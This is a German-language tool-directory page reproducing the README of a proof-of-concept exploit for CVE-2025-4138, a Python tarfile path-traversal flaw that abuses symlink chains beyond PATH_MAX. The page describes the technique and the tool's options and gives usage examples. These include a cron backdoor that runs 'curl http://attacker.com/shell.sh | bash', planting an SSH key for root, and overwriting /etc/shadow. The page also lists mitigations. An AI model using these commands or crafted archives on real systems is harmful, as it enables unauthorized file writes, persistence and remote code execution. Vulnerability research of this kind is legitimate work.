Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-4138-POC — Python PoC für CVE-2025-4138, ein Path-Traversal im Python-tarfile-Modul, das Symlink-Ketten missbraucht, um PATH_MAX für beliebiges Dateischreiben zu umgehen. | Kitploit
Tools/GitHubGitHub/d3vn0mi/cve-2025-4138-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubd3vn0mi/cve-2025-4138-poc

CVE-2025-4138-POC

Python PoC für CVE-2025-4138, ein Path-Traversal im Python-tarfile-Modul, das Symlink-Ketten missbraucht, um PATH_MAX für beliebiges Dateischreiben zu umgehen.

Repository anzeigen
3vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-4138 - Python tarfile PATH_MAX Umgehung PoC

Autor: d3vn0mi

   _______  _______     ____  ___ ___  ___      _ _  _ _____ ___
  / ___\ \ / / ____|   |___ \/ _ \__ \| __|    | | || |___ /( _ )
 | |    \ V /|  _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
 | |___  | | | |__|_____/ __/| |_| / __/___) |___|__   _|__) \__, |
  \____| |_| |_____|   |_____|\___/_____|____/      |_||____/ /_/

  [ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
  [ Author: d3vn0mi                                 ]

Übersicht

Ein Proof-of-Concept-Exploit für CVE-2025-4138, eine Path-Traversal-Schwachstelle im Python-tarfile-Modul. Die Schwachstelle erlaubt es einem Angreifer, ein bösartiges Tar-Archiv zu erstellen, das Dateien an beliebige Orte außerhalb des vorgesehenen Extraktionsverzeichnisses schreibt, indem Symlink-Ketten missbraucht werden, um PATH_MAX zu überschreiten.

Schwachstellendetails

FeldWert
CVE-IDCVE-2025-4138
KomponentePython tarfile-Modul
TypPath Traversal (CWE-22)
VektorSymlink-Kette + PATH_MAX-Umgehung
AuswirkungBeliebiges Dateischreiben außerhalb des Extraktionsverzeichnisses

Funktionsweise

Der Exploit arbeitet in vier Phasen:

  1. Pfadaufblähung – Eine Kette von tief verschachtelten Verzeichnissen und Symlinks wird erstellt, sodass der vollständig aufgelöste Pfad das PATH_MAX-Limit des Kernels (4096 Bytes unter Linux) überschreitet.

  2. Pivot-Symlink – Ein Symlink wird hinzugefügt, dessen aufgelöster Pfad die PATH_MAX-Grenze überschreitet. Da der Pfad zu lang ist, um aufgelöst zu werden, schlagen Pythons tarfile-Sicherheitsprüfungen (die auf os.path.realpath() basieren) stillschweigend fehl und überspringen die Validierung.

  3. Escape-Symlink – Ein zweiter Symlink verwendet ../-Traversal durch den Pivot, um das Extraktionsverzeichnis vollständig zu verlassen und auf einen vom Angreifer kontrollierten absoluten Pfad im Dateisystem zu zeigen.

  4. Payload-Ablage – Eine reguläre Datei wird durch den Escape-Symlink geschrieben und landet am Zielpfad mit vom Angreifer kontrolliertem Inhalt und Berechtigungen.

Extract dir
    |
    +-- ddd...d/          (247-char dir)
    |   +-- a -> ddd...d  (symlink shortcut)
    |   +-- ddd...d/
    |       +-- b -> ddd...d
    |       +-- ...       (16 levels deep, resolved path > 4096)
    |
    +-- a/b/.../p/lll...l -> ../../...   (pivot - PATH_MAX exceeded)
    +-- escape -> pivot + ../../... + /target/dir  (escape)
    +-- escape/target_file  <-- PAYLOAD LANDS HERE (outside extract dir)

Installation

git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc

Es werden keine externen Abhängigkeiten benötigt – der Exploit verwendet nur Python-3-Standardbibliotheksmodule.

Verwendung

usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
                        [-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
                        [-d DEPTH] [-v] [-q]

Optionen

FlagBeschreibung
-o, --outputAusgabe-Tarball-Pfad (Standard: exploit.tar)
-t, --targetAbsoluter Pfad der Datei, die auf dem Ziel geschrieben werden soll (Standard: /root/.ssh/authorized_keys)
-p, --payloadPfad zu einer Datei, deren Inhalt zum Payload wird
-s, --payload-stringEinen literalen String als Payload verwenden
-k, --ssh-keyPfad zu einer SSH-öffentlichen Schlüsseldatei
-m, --modeDateiberechtigungsmodus in Oktal (Standard: 0600)
-d, --depthVerzeichnis-Traversal-Tiefe (Standard: 8)
-v, --verifyTarball-Inhalte nach Erstellung ausgeben
-q, --quietBanner unterdrücken

Beispiele

SSH-öffentlichen Schlüssel in die authorized_keys von root schreiben:

python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v

Cron-Job für Persistenz schreiben:

python3 cve_2025_4138.py \
  -s "* * * * * root curl http://attacker.com/shell.sh | bash" \
  -t /etc/cron.d/backdoor \
  -m 0644 \
  -o cron_exploit.tar

Beliebigen Dateiinhalt aus einer lokalen Datei schreiben:

python3 cve_2025_4138.py \
  -p payload.txt \
  -t /etc/shadow \
  -o shadow_exploit.tar \
  -v

Ausgabe

[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*]   Chain link 1/16: resolved path length ~247 bytes
[*]   Chain link 2/16: resolved path length ~494 bytes
    ...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.

Gegenmaßnahmen

  • Python aktualisieren auf eine gepatchte Version, sobald ein Fix veröffentlicht wird.
  • tarfile.data_filter verwenden (Python 3.12+), das strengere Extraktionskontrollen bietet.
  • Niemals nicht vertrauenswürdige Tar-Archive als root oder in sensible Verzeichnisse extrahieren.
  • --strip-components verwenden oder Archivinhalte vor der Extraktion validieren.
  • Dateisystem-Schutzmaßnahmen anwenden, wie das Einschränken von Symlink-Following (fs.protected_symlinks).

Haftungsausschluss

Dieses Werkzeug wird nur für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch. Holen Sie stets eine ordnungsgemäße schriftliche Genehmigung ein, bevor Sie Tests an Systemen durchführen, die Ihnen nicht gehören.

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert.


d3vn0mi | GitHub

Tool herunterladen